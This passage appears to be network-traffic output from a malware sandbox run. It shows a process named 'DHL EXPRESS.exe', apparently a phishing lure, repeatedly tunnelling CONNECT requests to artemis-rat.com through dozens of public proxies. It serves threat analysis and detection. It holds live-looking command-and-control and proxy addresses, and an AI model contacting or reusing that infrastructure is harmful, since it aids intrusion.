Mar 11, 2024 18:36:58.649030924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.769170046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1949	192.168.2.8	53344	45.88.90.199	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.650985956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706465960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.717045069 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1950	192.168.2.8	53317	65.109.231.142	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.656637907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706473112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706829071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1951	192.168.2.8	53240	154.79.246.18	9898	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.656641960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1952	192.168.2.8	55033	41.65.46.180	1981	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.658279896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.769179106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863596916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.959903002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.065722942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.190749884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:47.190706015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:11.192298889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:59.190720081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1953	192.168.2.8	53316	185.196.182.22	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.667135954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706523895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706830978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.649836063 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 718 Content-Type: text/html Date: Mon, 11 Mar 2024 15:00:52 GMT Expires: Mon, 11 Mar 2024 15:00:52 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1954	192.168.2.8	55048	188.164.193.178	11251	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.682104111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1955	192.168.2.8	55086	103.164.223.53	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.682882071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.115020037 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1956	192.168.2.8	55064	3.9.71.167	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.682883024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.986885071 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:58 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1957	192.168.2.8	53582	121.140.63.249	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.683120012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.769188881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1958	192.168.2.8	53523	34.93.157.87	8514	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.691476107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706511021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706856966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706584930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706387997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.709068060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:34.721956015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1959	192.168.2.8	53697	92.204.135.37	20491	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.692709923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.300163984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.003794909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.347070932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1960	192.168.2.8	55250	68.71.254.6	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.695071936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1961	192.168.2.8	53693	20.42.119.47	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.695071936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.706540108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706898928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.706581116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:22.706387043 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:34.706521988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:46.709075928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:31.080571890 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1962	192.168.2.8	53536	41.65.236.35	1976	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.705436945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.769233942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863595963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.959923029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.065726042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:35.190752983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:47.190712929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:11.192300081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:59.190742970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1963	192.168.2.8	55174	109.238.12.156	28618	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.705634117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1964	192.168.2.8	53604	37.52.13.164	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.708878994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1965	192.168.2.8	53686	128.199.221.91	21605	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.708884001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909370899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.003638029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1966	192.168.2.8	53750	103.217.224.139	8040	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.711968899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909545898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.022377968 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:37:06.022275925 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:37:12.032265902 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1967	192.168.2.8	53727	3.37.125.76	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.712214947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.032012939 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:58 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1968	192.168.2.8	53580	192.252.216.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.725296021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1969	192.168.2.8	55168	68.169.60.220	8380	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.732426882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1970	192.168.2.8	53548	52.151.210.204	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.755042076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1971	192.168.2.8	53897	162.241.46.40	64353	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.865915060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.956737995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.066448927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.067487955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:23.065753937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1972	192.168.2.8	55210	176.192.65.34	5020	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.883471966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1973	192.168.2.8	53891	212.42.99.22	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:58.884006977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1974	192.168.2.8	55252	72.49.49.11	31034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
